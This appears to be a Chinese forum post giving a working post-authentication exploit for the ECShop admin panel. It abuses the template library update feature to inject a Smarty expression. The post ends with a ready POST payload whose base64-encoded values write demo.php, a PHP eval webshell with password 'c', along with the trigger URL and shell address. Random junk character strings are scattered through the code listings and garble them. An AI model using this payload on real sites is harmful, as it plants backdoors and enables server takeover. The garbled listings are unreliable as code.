Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
" J  {) i2 _+ r) _; q0 z8 _+ }admin/template.php
: B1 F! I5 ~+ s& T
1 if ($_REQUEST['act'] == 'update_library')

2   

  X0 B) t3 ]0 `6 X" K" g8 \3 {
- @3 g$ N# A, `4 d; q
4     check_authz_json('library_manage');

5   

6     $html = stripslashes(json_str_iconv($_POST['html']));
7 ~- g' w( z0 D4 [5 E
4 @! H, l4 e2 G5 \. I5 S7   
8 S) q. P  D0 l/ S
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
6 a- u( G) K7 z$ g+ e" T6 G+ K* \
9   
% `! `; l+ F+ d2 |) F1 |
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
. C/ x. M6 Y0 A9 ?9 X8 I2 N, e& I
11   

12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
- C# x1 q1 e) t- O; M) ^
3 G& ]; `) ~0 s9 b2 q0 ~13   

2 D7 T; s4 x0 R14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

9 }3 A. P# Q6 D- E5 I  c15     {

" `# P3 e' [' s( X! _16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( g1 o, ^( s" n3 U- U, H1 X0 J. j
17         make_json_result('', $_LANG['update_lib_success']);

18     }

19     else
5 ~' p7 A" \* H3 k- {
. L+ E- X  u: P8 X20     {
% g: _! n9 v/ @" D5 ]; Q2 v
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
% ~/ I9 Z+ n: d/ P2 A4 A- O, g8 a+ N
% t- O& o5 y5 k- N, n4 l2 E0 k! l  \22     }
8 J+ W  C5 L1 K, e
23 }

/ E) [; @' N$ J$ k, W5 I) w, ^" G, m那么找个比较方便调用了模板的文件
index.php

1 x+ i. f8 o2 A! I7 v1 if ($act == 'cat_rec')
; T* Y4 J. x6 V* O' y* V" C
2   

3 P1 @7 t/ P$ l3 c) E& d: r4 j3 {
3 A4 |  n6 j9 D8 H  _
/ t  I9 x/ y& y/ Q0 u8 h; a5 c5 q4   
: L7 B% @4 Q. [/ V
: n! D$ x5 J- M% j1 J5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 o$ ?# D1 w- b. X. t
9 M' S4 U. k" U, H6 H6   

7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

% f  V. [% {2 y8   

* D( H! d+ f0 {# j5 q5 s1 B9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   
% s0 @5 d, i, `2 ~
, e& H, ?  f! I; r9 Y11     include_once('includes/cls_json.php');

& l  _$ N6 ]# n9 \# C12   

3 w1 |! D" Z3 [3 ~2 a13     $json = new JSON;

# N4 m  b3 U2 @( v" d' |0 q" _2 p0 ^14   
/ ^: E& F7 T% Z' L" e' |
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   
3 H) t0 G7 P1 r
17     $children = get_children($cat_id);

18   
% W0 f/ _5 \+ `5 y! O& \9 D5 K8 c
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
/ c! D( t# a7 e. \7 P
" V6 ~: ~  b2 B20   

3 O! t) h9 B- w! \21     $smarty->assign('cat_rec_sign', 1);
, d8 q; j1 ^8 T/ b
22   

23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
- n* Y' c/ [; B  H6 l) U
24   
! q! \: r6 Q2 \6 o2 D( y0 ]
  a8 _- d0 P7 Q1 [5 ]) e25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

# }9 b5 c6 {, @& @" `$ c26   

27         echo $rec_array[$rec_type];
+ o2 C/ L  y; X
28   
/ {7 X" J: q& s
29     die($json->encode($result));

) b6 ^# I' W" J30   
; |- `) N9 Q: ?. o+ M1 @& \
2 U% I6 o; F9 L31 }

那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
Post内容：
! L6 p+ [' J( o, D0 w
6 j* i1 B- E, C7 R6 U8 c: W: S​
9 x* f5 I' o( Y1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

然后访问http://localhost/ec/index.php?act=cat_rec
$ _" }' `# V! E
3 Q, s( F% a8 l" ushel地址：http://localhost/ec/demo.php
& I0 [0 V. L$ d/ a* F密码c
3 g; P, _- A8 g$ u5 h/ g